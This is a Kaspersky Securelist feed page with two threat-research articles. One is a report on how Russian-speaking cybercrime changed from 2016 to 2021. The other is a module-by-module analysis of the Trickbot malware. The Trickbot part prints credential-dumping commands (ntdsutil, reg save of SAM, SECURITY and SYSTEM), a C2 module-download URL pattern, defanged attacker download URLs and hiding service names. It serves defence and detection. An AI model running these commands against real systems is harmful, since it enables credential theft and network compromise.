Kaspersky Securelist

Syndikovat obsah Securelist
Aktualizace: 35 min 1 sek zpět

Russian-speaking cybercrime evolution: What changed from 2016 to 2021

20 Říjen, 2021 - 14:00

Experts at Kaspersky have been investigating various computer incidents on a daily basis for over a decade. Having been in the field for so long, we have witnessed some major changes in the cybercrime world’s modus operandi. This report shares our insights into the Russian-speaking cybercrime world and the changes in how it operates that have happened in the past five years.

We overview what kind of attacks are now carried out by cybercriminals and what influenced this change — including such factors as changes in vulnerability market and browser safety. We also review what pushed cybercriminals to transform their operations into the now well-known malware-as-a-service model — the use of cloud servers, the decreasing relevance of custom malware and the subsequent emergence of small, agile teams. Lastly, we analyze the targets that cybercriminals select these days as opposed to a few years back, the reasoning behind them and criminal-to-criminal services offered on the dark web.

While this report is primarily focused on cybercriminals that operate on Russian territory, cybercriminals rarely restrict themselves to national borders — with ransomware gangs being a prime example of such cross-border activity. Moreover, trends that are visible in one country, more often than not resurface in other places and among new cybercriminal gangs. This report attempts to shed light on the changes in cybercriminals’ operations that we deem important — and actionable.

Incident analysis

Kaspersky’s Computer Incident Investigations Department specializes in  attacks by Russian-speaking and Russia-based cybercriminals. The services we offer include incident analysis, investigation and post-incident expert support, all directed at preventing and mitigating the consequences of  cyberattacks.

Back in 2016, the primary focus of our expert was on major cybergangs that targeted financial institutions, banks in particular. Big names such as Lurk, Buhtrap, Metel, RTM, Fibbit and Carbanak boldly terrorized banks nationwide, yet eventually fell apart or ended up behind bars — with our help too. Others cybercriminal groups, such as Cerberus, left the game and shared their source code with the world.

These days, the industries under attack are not limited to financial institutions, while major attacks like those we investigated back in the day thankfully are no longer possible. On top of that, due to changes in legislation that limited financial institutions in hiring external services, the number of cases we investigated for financial industry clients in 2020 was zero.

We investigated 200 cases for clients in Russia in 2020, and already over 300 in the first nine months of 2021. The industries affected included everything from IT to retail, from oil and gas to healthcare. This is a surprising trend, as one would expect COVID-19 and the move to remote working to have prompted more computer incidents. But our visibility showed otherwise.

Key trends

The cybercriminal ecosystem has always consisted of various roles. The main constants in this system are the infrastructure needed for carrying out cybercriminal activity and the instruments used for this activity. The roles of people in the game directly depend on the infrastructure and the instruments — and these have changed. Let’s delve into some of the major shifts that have taken place in the cybersecurity sphere in the past five years and see how they have transformed the way Russian-speaking cybercriminals operate.

Client-side attacks on the wane

It may be hard to imagine these days, but just five years ago to get your computer infected with a Trojan was as easy as visiting a news website. In fact, a lot of malware in Russia was distributed “straight from the front page” — via news platforms and other legitimate websites. True, web attacks are not a thing of the past yet, but with increasing browser security, attacks via this vector have become much harder. Previously, many cybercriminals lived simply by distributing exploits via legitimate websites. A whole market was built around that process — with dedicated staff to make it roll.

At the time, browsers were full of vulnerabilities, offered bad user experience and were generally insecure. Many used browsers that they were accustomed to, not browsers of choice, or default browsers set by organizations, such as the Internet Explorer. Attacks via plugins, such as Adobe Flash, Silverlight and Java, were also among the easiest and most often used ways to infect user devices — and now they are a thing of the past.

In 2021, browsers are much safer, with some of them updating automatically, without any user participation, while browser developers continually invest in vulnerabilities assessment. Furthermore, with the development of numerous bug-bounty programs, it has become easier to sell discovered vulnerabilities to developers themselves, rather than look for a buyer on the dark web. That also led to higher prices for vulnerabilities.

With safer browsers, web infections have become more challenging and, ultimately, unattractive to cybercriminals. As a result, targeting regular rather than corporate users with such means has become too expensive and not commercially viable.

Vulnerabilities market got a remake

Applications have become more complex, their architecture better. This has radically changed the way Russian-speaking cybercriminals operate.

With vulnerabilities rising in price, client-side operations have become extremely difficult and expensive. Client-side infections used to rely heavily on vulnerabilities; entire teams would look for them and write exploits for particular vulnerabilities — adjusted for different operating systems. Most often, cybercriminals exploited 1-day vulnerabilities — they examined developers’ patches recently rolled out and wrote exploits for vulnerabilities that were closed. However, since the software update period was (and still is) quite long, users often updated their devices with a delay, therefore leaving a window during which cybercriminals could infect quite a few victims.

A typical infection chain looked like this: a legitimate website was compromised — just five years ago securing websites wasn’t really the done thing. It could be compromised directly or by hacking the account of someone with access to the website management. The attacker would integrate some piece of code — it could be a window on the page, invisible to the user. Then, since the target would continue to use the website, it would also load the page controlled by the attackers. Another option was to compromise a banner network — with banners being available across myriad sites and the website management not having a vote on what ad was displayed. It was also possible to simply buy and direct traffic to a specific malicious page. Ultimately, the goal was to covertly lead the user to a page controlled by the attackers, with this page containing code that would exploit one of the vulnerabilities in the user’s browser.

This browser attack chain, popular in 2016, is no longer possible

To ensure more users were infected, cybercriminal groups developed exploit kits for specific user groups and tailored exploits downloaded to victims’ devices. After running the exploit, the attackers would choose a specific payload to be downloaded to the infected device. The payload usually resulted in remote access to the computer. Once infected, the device would be assessed based on how attractive it was to the cybercriminals. After that, the attackers would load a specific exploit that would assess the interest of the infected device, and then a specific malware was uploaded to it (if the victim was interesting at all).

With such browser attacks being no longer viable, nor easy to execute, a whole array of different players were no longer in demand. This included groups that specialized in purchasing and directing traffic to specific pages with exploits, groups that developed and sold exploit packs, groups that purchased access to specific devices (the latter still exist, albeit they sell it to different players now).

Of course, vulnerabilities in client-side software remained — just now they are not in browsers, but in various types of documents such as PDF or Word with Macros options typically distributed via email. Still, this change makes attacks and the infection process much harder. Unlike with browser infections, when distributing a malicious file hidden in a PDF or Word, the attacker is not able to receive feedback from the victim or additional information about the device the target uses. Browsers, on the other hand, reported what versions of software and plugins they have automatically. This way, with attackers switching to distributing malicious files via phishing emails, it has become more difficult to track the version of the user’s software, or how far the attack went. On top of that, safety mechanisms in email servers and in applications such as Word also made it harder to carry out an infection — many emails containing malicious files are not intercepted before they get to the target, while users receive regular warnings inside applications about potentially dangerous attachments.

Cloud servers for all Infrastructure is needed for communication and data storage.

As organizations progress in the adoption of new IT-services, so do cybercriminals who follow the same trends and changes. Moving to cloud services instead of regular servers has freed their hands. Before, cybercriminals would rent the servers — quite legitimately, albeit often not under their own names. In 2016, complaints against servers that were connected to suspicious activities were easier to ignore — at the time, some organizations offered bullet-proof servers that would ignore user complaints. However, as time went by, managing such servers has become harder and less profitable — a result of greater interest in cybercrime  on the part of local authorities.

Cybercriminals also used to hack into servers of organizations to use them as relay servers to throw investigators off the scent and make it harder to trace the main C&C center. Sometimes cybergangs would store some information — for instance, data extracted from victims— on servers they had compromised. This sort of structure with data being spread over various platforms required dedicated staff to manage it.

The adoption of cloud servers made life easier for cybercriminals — now, if multiple complaints resulted in the suspension of an account, moving the data to a new server was a two-minute job. It also meant that the teams no longer needed a dedicated admin to manage the server — this task was outsourced to the cloud server provider.

Malware developers — no longer hiring

Perhaps the scariest trend of all is how easy it has become for cybercriminals to gain access to new effective malware. While APT actors continue to invest large funds and resources into tailor-made malicious tools, cybercriminals choose the easier, less costly way, which no longer includes developing their own malware or exploits.

Open-source malware is appearing on the dark web more and more often — it has become a trend for established cybergangs to release their source code to the public for free, making it fairly easy for new players to start their cybercriminal activity. The developers of Cerberus, a banking Trojan, released the source code of their malware in October 2020, while Babuk, the developer of the infamous ransomware of the same name, had their ransomware code released early in September 2021.

To make matters worse, with the development of penetration-testing tools and services, the dark market saw the rise of new malicious tools. These tools are developed and used for legitimate services, such as assessing clients’ security infrastructure and potential for successful network penetration. They are meant to be sold to a carefully selected client base that would only use them for legitimate purposes. Yet, inevitably, these tools eventually end up in the hands of cybercriminals. One of the most notable examples is cybercriminals’ favorite CobaltStrike, a decompiled version of which was leaked in November 2020 — and is now seen in active use by both cybercriminals and APT groups. Others include Bloodhound, another favorite cybercriminal tool for network mapping, Kali and Commando VM for specialized distribution, Core Impact and Metaspoit Framework for exploiting vulnerabilities, use of netscan.exe (softPerfect Network Scanner) on compromised computers, and legitimate services for remote access, such as TeamViewer, AnyDesk and RMS/LMS. To top it off, cybercriminals make use of legitimate services that are meant to help system administrators, such as PSexec, which allows remote execution of programs. Understandably, such tools have risen in popularity since the pandemic and the consequent rise in remote working.

These days, to understand what kind of tools cybercriminals use, it is enough to see what pen-testers deploy and offer on the market.

Essentially, the malware development market has reached its maturity stage. Given the abundance of information, starting a cybercriminal operation is easier than ever before. At the same time, it has become more difficult to attack companies. Protection systems do not stand still; awareness is growing. The pen-testing market, too, exists due to the demand for it, with large organizations investing in making their networks safer.

The results Optimizing the chain — smaller teams

These structural shifts (rising vulnerabilities costs, moving to cloud servers, accessibility of already developed advanced offensive tools) has led to cybergangs shrinking. Essentially, the attack chain has been optimized with many roles having been outsourced, and teams becoming more agile.

System administrators that take care of physical networks are no longer needed — with cloud services management being an easy task. Cybercriminal gangs have also essentially put a stop to developing their own malicious software. If before, large cybercriminal groups would invest in their own malware and therefore staff at the very least two developers to work on different parts of the malware (for instance client and server side), now they only need an operator. If developers are not needed, neither are testers. The long attack chain that included exploits for different vulnerabilities has also shrunk — and so exploit writers that focused on client side have been put out of business.

Buying traffic for malicious sites has transformed into buying data — access to different organizations, account information, etc. These services, too, have been outsourced.

As a result, for a successfully running operation in 2021, a cybergang needs management, malware operators, specialists in gaining network access and financial specialists that take care of extracting and cashing out the stolen funds.

Then and now: a comparison of how cybercrime groups looked in 2016 vs 2021

We are yet to see what will happen to those cybercriminals who were jailed in 2016-2017 and will be released into a world where their skillsets are no longer in demand. It is hard to tell whether they will settle for an honest path, but if not, there are no vacancies for them in the current dark cybermarket.

Change of targets

The year 2016 saw banks in Russia hacked one after another. It was also a time when regular users had their devices infected and goods stolen. As time went by, and big gangs that targeted financial institutions were ambushed, Russian-speaking cybercriminals switched to other industries, attacking both large and small businesses. By 2018, however, they had realized that it is far more profitable to target organizations — with ransomware, stealers or remote access tools for conducting financial operations from within the networks.

In 2020, we witnessed a drop in cases against financial institutions in Russia. Incidents that included banking software pretty much left the stage. There were a few reasons for this: new local financial security regulations and enhanced banking security. But, most importantly, cybercriminals switched to targets in the West. We cannot confirm that the operators of attacks against financial institutions are the same people that now operate in ransomware gangs, yet it is safe to assume that cybercriminals who had been put out of a job switched to new, juicier targets. We did a separate review of the Russian-language ransomware ecosystem earlier this year, so we will not go in length about them here.

Western organizations are chosen by cybercriminals not for ideological reasons. First, organizations located in Europe and the US have more funds, and the potential for profit is higher than in the case of infecting a Russian company. For instance, for international companies, ransom demands start from 700 thousand USD and can go up to 7 million USD. When attacking Russian organizations, the ransomware gangs start their demands from 100 thousand. On average, ransomware operators end up getting a ransom ranging from 50 to 100 thousand USD. Widespread use of English also makes companies more susceptible to attacks.

At the same time, the shift to the West does not mean that Russian companies are no longer being attacked from within the country. Criminals are still mostly limited by linguistic constraints — it is much easier to prepare phishing emails and documents in their native language. This is the only advantage of Russian-speaking hackers when attacking Russian companies. Such choice of targets, however, entails higher risks for the cybercriminals — the likelihood of them being discovered and arrested is greater.

Industry-wise, cybercriminals are no longer limited to financial institutions. The advent of botnets created a market of network access — companies from all types of industries are broken into without particular targeting, and access to them is later sold off on the dark web. The pandemic also played a role in boosting it, with companies moving much of their infrastructure online and opening it up to remote workers, leading to a wider attack surface and more ways to hack into otherwise better-protected networks. Quite often, ransomware operators go for the low-hanging fruit — companies that are easiest to break into and get some profit off. Another big focus is organizations and users that possess or operate cryptocurrency — cryptoexchanges, cryptowallets and others are among the juicy targets.

Some trends and attacks are purely local and tied to the Russian language. For instance, somewhat surprisingly, since 2019 vishing (voice phishing, i.e. phone scams) has enjoyed a renaissance. Russia’s mature mobile banking industry coupled with IP-telephone technologies made it very easy and profitable to set up hard-to-trace call centers that scam regular users out of their money. As a result, the damage for regular Russian users amounts to about 1 billion rubles (13.8 million USD) monthly.

Services in demand

The world of dark-web marketplaces has also transformed. While, indeed, there still are a few popular platforms where cybercriminals can meet and offer their services, serious players are moving more and more to the shadows. A prime example of that is ransomware operators, who have been expelled from popular dark-web platforms due to the heightened interest in their activities. Now, they tend to communicate privately. The availability of secure messengers also played a role, as cybercriminals connect directly, not via forums.

We no longer see vulnerabilities or exploits for sale on the dark web, as truly valuable vulnerabilities, such as 0-day ones, are rare and sold directly to select customers, while 1-day vulnerabilities are sold to agencies that specialize in them.

Still, many services remain in demand on the dark web and offers for them can still be found without much effort. Let’s go over the key services cybercriminals use:

  • Ready-made accounts — using online services such as clouds requires cybercriminals to have emails and phone numbers, and for obvious reasons making their own is not safe enough. Prepaid SIM cards are illegal in Russia — all users must register SIM cards to their ID. Therefore, emails bundled with phone numbers are always in demand.
  • Access to logins — besides the regular phone+email combination, cybercriminals offer stolen credentials for all types of accounts — from gaming and streaming accounts to banking and other services. These credentials can be used for a whole variety of activities — from scams to extraction of funds.
  • Access to organizations — perhaps the most attractive type of offer. Many operators specialize solely in infecting networks en masse via botnets or through exploiting 1-day vulnerabilities. Having gained access to a company network, they assess the attractiveness of the company and sell access to other cybercriminals, who then work on harvesting or encrypting the company’s data.
  • DDoS attacks — still in demand, albeit protection against DDoS attacks has become stronger.
  • Personal data — the amount of personal data available on the dark web continues to grow and diversify. The types of data have moved from card or ID data to rarer types, such as medical information or full access to banking accounts. The price of this data starts as low as 0.5 USD per item. We covered the type of data available on the dark web in our previous report.
Conclusion: cybersecurity and cybercrime have matured

A few years back, the digital market was being tested by cybercriminals; radically new ways of attacking users and organizations were being developed on a regular basis. Now, in 2021, we have reached the point when the cybercriminal world has matured. So has cybersecurity — just a few years ago organizations had little understanding of what dangers they face online. Now, after waves of notorious and devastating attacks, people have become more cautious, and organizations recognize the potential cyberrisks and invest in mitigating them. Here are the main takeaways from this overview of the state of Russian-speaking cybercrime:

  • Information has become more accessible and that includes malware. Malicious tools are available online in abundance — be it leaked or released source code of infamous malware developed by now-gone cybergangs, or legal instruments used for pen-testing by organizations. This accessibility benefits cybercriminals, as they no longer need to invest time and resources in writing malware from scratch.
  • Cybergangs as we knew them are gone. People in cybercrime are less and less tied to each other, and no longer exist in stable groups that last many years.
  • Cybergangs operate like small businesses that deliver various services. People in cybercrime have become very effective at outsourcing — focusing on purchasing access to hacked organizations and the right tools to exploit that access. They no longer need to write malware, nor take care of physical servers.
  • Russian-speaking cybercrime has also moved across the borders. As the digital world lacks traditional borders, the limitations of potential targets are dictated by the language cybercriminals speak; thus, the English-speaking part of the world will always remain appealing. It would be presumptuous to say that back in 2016 Russian-speaking cybercriminals did not attack users abroad, or that they completely ceased to attack their fellow nationals. Nevertheless, the clampdown by law enforcement of those who attack organizations within Russia and much higher potential profit from attacks on international organizations has solidified the “do not work in RU” rule and brought Russian-speaking cybercriminals under the spotlight of the international arena.
  • Everyone is a target now. With so many organizations facing the Internet, the attack surface has grown immensely, and gaining access to organizations has become easier. Cybercriminals are ready to lay their hands on pretty much any organization, as opposed to their past focus on financial organizations. With ransomware, every victim can bring profit to a cybergang.
  • Data remains a valuable asset. The current state of personal data security paints a gloomy picture. Regardless of the current, though significant, efforts made by various governments, personal data continues to end up online, and used for attacks — be it a tool to register a server for a cybergang or a point of access to an organization. This is unlikely to change in the near future.

All in all, the current state of Russian-speaking cybercrime reveals problems in cybersecurity of global relevance. In the “shared” cybercriminal economy, tracking specific gangs has become harder, while the gangs themselves have ceased to be well-defined entities, turning into rather scattered groups of individuals with the right tools, which are easy to access. What we as cybersecurity experts can do is strive to be a step ahead — and continue to build defenses, educate people and make cybersecurity front-of-mind for everyone.

Trickbot module descriptions

19 Říjen, 2021 - 12:00

Trickbot (aka TrickLoader or Trickster), is a successor of the Dyre banking Trojan that was active from 2014 to 2016 and performed man-in-the-browser attacks in order to steal banking credentials. Trickbot was first discovered in October 2016. Just like Dyre, its main functionality was initially the theft of online banking data. However, over time, its tactics and goals have changed. Currently Trickbot is focused on penetration and distribution over the local network, providing other malware (such as Ryuk ransomware) with access to the infected system, though that’s not the only functionality it supports.

Over the years, Trickbot has acquired dozens of auxiliary modules that steal credentials and sensitive information, spread it over the local network using stolen credentials and vulnerabilities, provide remote access, proxy network traffic, perform brute-force attacks and download other malware. In this document, we decided to provide a brief description of the Trickbot modules. Despite the fact the dates indicated in the PE headers of some modules are quite old, these modules are still available for download and can be used by threat actors. Such information should simplify analysis of any activity related to Trickbot.

Technical details How to obtain Trickbot modules for analysis

Modules can be downloaded from one of Trickbot’s C2s using simple GET requests like https://<CC_IP>:<CC_PORT>/<gtag>/<bot_ID>/5/<module_name>/. Keep in mind that module names are case sensitive, and although we describe 32-bit modules in this article in most cases 64-bit versions can be downloaded by replacing ’32’ with ’64’ in the module name. In most cases valid values of <gtag> and <bot_ID> are not needed for successful download. Here is an example of the URL to download the pwgrab64 module:


Downloaded modules are encrypted, and can be decrypted with the Python script below.

Python script with modules decryption routine

The table below contains the list of modules, and simplifies module description searches. Please keep in mind that these modules were received at the end of May and their functionality and names may differ at the time of publication.

Module Name PE TimeStamp PE Internal Name Description link adll32 14.11.2019 ADll.dll adll32 adllog32 14.11.2019 ADll.dll adll32 bexecDll32 13.04.2020 mexec.dll aexecDll32 mexecDll32 29.11.2019 mexec.dll aexecDll32 onixDll32 29.11.2019 mexec.dll aexecDll32 aexecDll32 17.06.2020 m001c.dll aexecDll32 shadnewDll32 13.06.2019 inj_32.dll anubisDll32 anubisDll32 08.10.2019 tbmf_32.dll anubisDll32 bcClientDllNew32 05.02.2019 socks5dll.dll bcClientDll32 bcClientDllTestTest32 29.08.2019 socks5dll.dll bcClientDll32 TwoBCtestDll32 06.10.2019 client.dll bcClientDll32 bcClientDll32 20.04.2017 bcClientDll.dll bcClientDll32 tvncDll32 17.05.2021 VNCSRV.dll bvncDll32 vncDll32 20.04.2021 VNCSRV.dll bvncDll32 bvncDll32 11.02.2020 VNCSRV.dll bvncDll32 cookiesDll32 04.07.2019 Cookies.dll cookiesDll32 domainDll32 16.01.2018 module32.dll domainDll32 fscanDll32 23.12.2019 TestLib.dll fscanDll32 oimportDll32 24.07.2020 grabber.dll importDll32 timportDll32 22.03.2021 grabber.dll importDll32 importDll32 24.03.2021 grabber.dll importDll32 totinjectDll32 14.06.2019 webinject32.dll injectDll32 injectDll32 17.09.2020 <none> injectDll32 sokinjectDll32 14.06.2019 webinject32.dll injectDll32 tinjectDll32 25.02.2021 webinject32.dll injectDll32 mailsearcher32 22.04.2019 mailsearcher.dll mailsearcher32 masrvDll32 04.12.2020 masrv.dll masrvDll32 mlcDll32 18.11.2019 MailClient.dll mlcDll32 networkDll32 14.12.2020 dll.dll networkDll32 networknewDll32 06.04.2020 dll.dll networkDll32 tnetworkDll32 14.12.2020 dll.dll networkDll32 socksDll32 07.04.2021 socksbot.dll NewBCtestnDll32 NewBCtestnDll32 07.04.2021 socksbot.dll NewBCtestnDll32 outlookDll32 <none> OutlookX32.dll outlookDll32 owaDll32 21.10.2019 owa.dll owaDll32 permaDll32 19.10.2020 user_platform_check.dll permaDll32 psfin32 05.11.2018 dll.dll psfin32 rdpscanDll32 10.06.2020 rdpscan.dll rdpscanDll32 trdpscanDll32 10.07.2020 rdpscan.dll rdpscanDll32 shadDll32 12.03.2019 inj_32.dll shadDll32 tshareDll32 21.04.2020 templ.dll shareDll32 shareDll32 01.02.2021 <none> shareDll32 sharesinDll32 22.01.2020 dlltest1.dll sharesinDll32 sqlscanDll32 14.12.2019 sqlscan.dll sqlscanDll32 squDll32 23.04.2020 mailFinder_x86.dll squDll32 squlDll32 19.04.2018 mailFinder_x86.dll squlDll32 systeminfo32 13.09.2019 SystemInfo.dll systeminfo32 stabDll32 02.07.2020 <random> tabDll32 tabDll32 03.08.2020 tabdll_x86.dll tabDll32 testtabDll32 04.06.2019 tabdll_x86.dll tabDll32 ttabDll32 30.07.2020 tabdll.dll tabDll32 pwgrab32 19.03.2021 <random> tdpwgrab32 pwgrabb32 19.03.2021 <random> tdpwgrab32 tpwgrab32 26.02.2021 <random> tdpwgrab32 dpwgrab32 19.03.2020 pwgrab.dll tdpwgrab32 tdpwgrab32 26.02.2021 <random> tdpwgrab32 vpnDll32 04.06.2020 vpnDll.dll vpnDll32 webiDll32 11.05.2021 webinject32.dll webiDll32 twormDll32 15.10.2019 testinfo.dll wormDll32 wormDll32 18.02.2021 <random> wormDll32 wormwinDll32 22.01.2020 <random> wormDll32


The new Trickbot module ADLL dumps Active Directory database files (ntds.dit and ntds.jfm) and registry hives using the ntdsutil and reg tools. For example, it utilizes the “Install from Media (IFM)” ntdsutil command to dump the Active Directory database and various registry hives to the %Temp% folder. These files are then compressed and sent back to the attackers.

Part of the adll32 function of collecting information using the ntdsutil tool

Part of the adll32 function collecting information using the reg tool

The module uses the ntdsutil and reg tools with the following command line arguments:

  • ntdsutil “ac in ntds” “ifm” “cr fu %TEMP%\<random>0.dat” q q
  • reg save HKLM\SAM %TEMP%\<random>1.dat /y
  • reg save HKLM\SECURITY %TEMP%\<random>2.dat /y
  • reg save HKLM\SYSTEM %TEMP%\<random>3.dat /y

These commands will dump the Active Directory database as well as the SAM, SECURITY, and SYSTEM hives. Threat actors can decrypt these files and dump the usernames, password hashes, computer names, groups, and other data. This data can then be used for spreading further across the network.


This module is a simple downloader. It downloads a payload (e.g., another Trickbot module or third-party malware) by hardcoded URL and executes it.

Part of the aexecDll32 download routine


This is a man-in-the-browser module. It contains a full implementation of the IcedID main module. It can intercept web traffic on the victim machine. This module also contains embedded binary Anubis VNC (also known as HDESK Bot), which is a custom RAT based on the VNC (Virtual Network Computing) protocol that’s used by IcedID for remote control.


This is a reverse proxy module with custom implementation of SOCKS5 protocol. It is used to bypass traffic through the compromised host.


This module is an implementation of Hidden VNC, which is a custom remote administration tool based on the VNC (Virtual Network Computing) protocol. Hidden means that this modification of the VNC creates an additional desktop hidden from the user, allowing attackers to work with the compromised system in the same way as via an RDP connection without attracting the user’s attention. Web sessions and user passwords saved in the browser are available in hVNC sessions. An attacker can freely run a web browser on a remote system, accessing any web service when there is an active user session.


The module steals cookie data from web browsers. It targets the storage databases of Chrome, Firefox, Internet Explorer and Microsoft Edge.


The module is also called DomainGrabber. It collects domain controller information on compromised systems by accessing the SYSVOL folder. The first modification of this module was querying for groups.xml, services.xml, scheduledtasks.xml, datasources.xml, printers.xml and drives.xml files. The current modification of this module only queries for group policies (groups.xml).

Routines for group policies collecting in DomainGrabber module


This module is a password stealer module. It can steal credentials stored in registry, databases of different applications, configuration and “precious files”, i.e., private keys, SSL certificates and crypto wallet data files. It is also able to grab autofill information from web browsers. The module is capable of stealing data from the following applications: Git, TeamViewer, OpenSSH, OpenVPN, KeePass, Outlook, FileZilla, Internet Explorer, Mozilla Firefox, Google Chrome, Microsoft Edge, RDP, WinSCP, VNC, UltraVNC, RealVNC, TigerVNC, PuTTY, AnyConnect. Note that newer module versions may also target other applications.


This is an FTP (File Transfer Protocol) and SFTP (SSH File Transfer Protocol) file scanner based on the open-source software project cURL. The module receives a list of rules for matching files and FTP/SSH resources, enumerates the files on the targeted resource and reports back to the C2.

Part of SFTP read routine


This module steals data from web browsers, including browser configuration, cookies, history, title, visit count, HTML5 local storage. The browsers Internet Explorer, Mozilla Firefox, Google Chrome, and Microsoft Edge are targeted. The module also gathers information about installed browser plugins and components.

Fragment of the browser information grabbing routine


This module is used to intercept activity related to banking websites in browsers. It uses web injects to steal financial information. Two types of attack are supported: “static” and “dynamic”. Static attacks redirect user requests to a malicious phishing page, while dynamic attacks pass all traffic through the malicious proxy server, making it possible to grab information from input forms and modify banking website responses by injecting additional malicious scripts in returned pages.

Examples of “static” and “dynamic” configs

In order to intercept traffic, an old version of the module (active before 2019) used to inject itself into numerous browser processes and hook networking API functions responsible for an SSL cipher routine and website certificate validation: HttpSendRequest, InternetReadFile for Internet Explorer, PR_Read, PR_Write for Mozilla Firefox, SSL_read, SSL_write for Google Chrome.

However, in early 2019 an updated module was released. The developers abandoned the interception of multiple functions in different browsers and concentrated on hooking just a few basic Microsoft Windows network functions: the ws2_32::connect() function and WSA extension function mswsock::ConnectEx(). In order to perform an attack on SSL connections, the module generates a self-signed certificate, and inserts it into the certificate store. Different internal browser APIs are used to install self-signed certificate in different browsers. The functions crypt32::CertGetCertificateChain() and crypt32::CertVerifyCertificateChainPolicy() are also hooked to bypass certificate validation.

EMBEDDED MODULE PE timestamp:2020-09-17 InternalName:<payload32.dll>

This submodule injects itself into browser processes (Internet Explorer, Mozilla Firefox, Google Chrome, Microsoft Edge) and intercepts a networking API in order to redirect browser traffic through a local proxy based on a modified SOCKS protocol. It also intercepts APIs responsible for certificate chain validation, in order to spoof the results of checking.


This module enumerates all disks and folders, and searches for email patterns in files. It ignores files with selected extensions: .avi, .mov, .mkv, .mpeg, .mpeg4, .mp4, .mp3, .wav’, .ogg, .jpeg, .jpg, .png, .bmp, .gif, .tiff, .ico. In addition it unpacks files with .xlsx, .docx, and .zip extensions, and performs the same email patterns search in the extracted file. Every time scanning of a disk ends, the module sends the list of found addresses back to the C2 server.


This module is a network scanner based on source code of the Masscan software project. The module requests the range of IP addresses from the C2, scans all IPs in this range for the opened port, and sends the list of found addresses and ports back to the C2 server.


This module implements the main functionality of the Gophe spambot. The Gophe spambot was used to propagate Dyre malware. As the successor to Dyre, it comes as no surprise that Trickbot has also inherited Gophe’s source code. It can grab emails from Outlook and send spam through Outlook using MAPI. It also removes traces of spamming by deleting emails from the Outlook Sent Items folder. This module is also propagated by Trickbot as a standalone executable known as TrickBooster.


This module gets information about the network from the local system. It uses the following ADSI (Active Directory Service Interfaces) property methods to gather information:

  • ComputerName;
  • SiteName;
  • DomainShortName;
  • DomainDNSName;
  • ForestDNSName;
  • DomainController.

It retrieves the DNS names of all the directory trees in the local computer’s forest. It also gets a full process list and system information snapshot (OS Architecture / ProductType / Version / Build / InstalationDate / LastBootUpTime / SerialNumber / User / Organization / TotalPhysicalMemory).

The module executes and gathers the results of selected commands:

  • “ipconfig /all”
  • “net config workstation”
  • “net view /all”
  • “net view /all /domain”
  • “nltest /domain_trusts”
  • “nltest /domain_trusts /all_trusts”


This module is a reverse proxy module with custom implementation of the SOCKS5 protocol. It’s used to bypass traffic through the compromised host. The module can determine the external network IP address by STUN protocol using Google’s STUN servers. It can also create new processes by receiving a command line from a proxy-C2. It can’t download binaries for execution, but the ability to create new processes by starting powershell.exe with a Base64 encoded script in the command line transforms this module into a backdoor. Note that this is a common tactic for many actors.


This module is written in Delphi, which is uncommon. The module tries to retrieve credentials from the Outlook profile stored in the system registry.


This module receives a list of domains, logins and passwords from the C2, and tries to find an OWA service on selected domains. To do so, it creates a URL by adding subdomains (‘webmail.’, ‘mail.’, ‘outlook.’) to domains from the list, and setting the URL path to ‘/owa’. After that it makes a POST request to the crafted URL, and checks the response for strings, tags or headers that are specific to an OWA service. The module then reports back to the C2 about the OWA URLs it finds. It can also perform a brute-force attack on the OWA URLs with logins and passwords received from the C2.

Part of the C2 report routine in owaDll32 module


This module contains the encrypted embedded module RwDrv.sys. It installs RwDrv.sys driver to get low-level access to hardware. It identifies the hardware platform, checks the UEFI/BIOS write protection, and reports back to the C2. It can’t write any implants to UEFI or any shellcode into physical memory. However, the code of the module can easily be updated with this functionality.

EMBEDDED SYS MODULE timestamp:2013-03-25 InternalName:RwDrv.sys

This is a driver from the RWEverything utility. This utility enables access to computer hardware.


Using Active Directory Service Interfaces (ADSI), this module makes Lightweight Directory Access Protocol (LDAP) and GlobalCatalog (GC) queries for organizational unit names, site name, group account name, personal account name, computer host name, with selected masks ‘*POS*’, ‘*REG*’, ‘*CASH*’, ‘*LANE*’, ‘*STORE*’, ‘*RETAIL*’, ‘*BOH*’, ‘*ALOHA*’, ‘*MICROS*’, ‘*TERM*’.

Part of C2 report routine in psfin32 module

GlobalCatalog (GC) queries using ADSI


This module receives a list of domains, IPs, logins and passwords from the C2, performs a check for RDP connection on the list of targets, and reports back to the C2 about the online status of targets. It can perform brute-force attacks on targeted systems, using the received logins and passwords. It also has the ability to brute force credentials by mutating IPs, domain names and logins, for instance, by replacing, swapping or removing letters, numbers, dots, switching from lower to upper case or vice versa, performing string inversion, etc.


This is the first implementation of the anubisDll32 module. It does not include the Anubis VNC embedded binary.


This module is used to spread Trickbot over the network. It downloads Trickbot from the URL http[:]//172[.]245.6.107/images/control.png and saves it as tempodile21.rec. It then enumerates network resources and tries to copy the downloaded Trickbot to selected shares C$ or ADMIN$ as nats21.exe. It then creates and starts a remote service on the compromised system in the following paths:

  • %SystemDrive%\nats21.exe
  • %SystemRoot%\system32\nats21.exe

The following service names are used to hide the presence of nats21.exe:

  • SystemServiceHnet
  • HnetSystemService
  • TechnoHnetService
  • AdvancedHnexTechnic
  • ServiceTechnoSysHnex
  • HnexDesktop


This module has the same functionality as shareDll32. However, the Trickbot binary dropped by this module has the name nicossc.exe, and the URL it uses to get Trickbot is http[:]//185[.]142.99.26/image/sdocuprint.pdf. The service names are also different:

  • CseServiceControl
  • ControlServiceCse
  • BoxCseService
  • TechCseService
  • AdvanceCseService
  • ServiceCseControl
  • CseServiceTech
  • TechCseServiceControl


This module tries to implement the SQLi vulnerability scanner. It receives list of target domains, and tries to extend it with subdomains by querying the Entrust web interface https[:]//ctsearch.entrust[.]com/api/v1/certificates?fields=subjectDN&domain=<targeted_doma in>&includeExpired=true&exactMatch=false&limit=100. It then performs multiple HTTP queries with malformed data on pages and forms of the targeted domains, measures the time or difference in responses in order to check if the targeted resource is potentially vulnerable.


This module gathers addresses of SQL servers. It enumerates registry values at HKLM\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL to obtain SQL server instances. It also makes a broadcast UDP request on ports 1433 and 1434 to obtain SQL server instances from the SQL Server Browser service that usually runs on these ports. After gathering SQL server instances, it drops the submodule mailCollector and passes the collected targets to it.

EMBEDDED EXE MODULE timestamp:2020-04-23 InternalName:<none>AliasName:mailCollector

This submodule uses the ADODBI interface to communicate with SQL servers, enumerate databases, and make search queries for the extraction of email addresses. The following query templates are used:

  • select COUNT(*) from [%s] where [%s] like ‘%%@%%.%%’
  • select [%s] as MAIL from [%s] where [%s] like ‘%%@%%.%%’


This is an old version of squDll32. It uses SQLDMO.dll to enumerate the available SQL server instances.


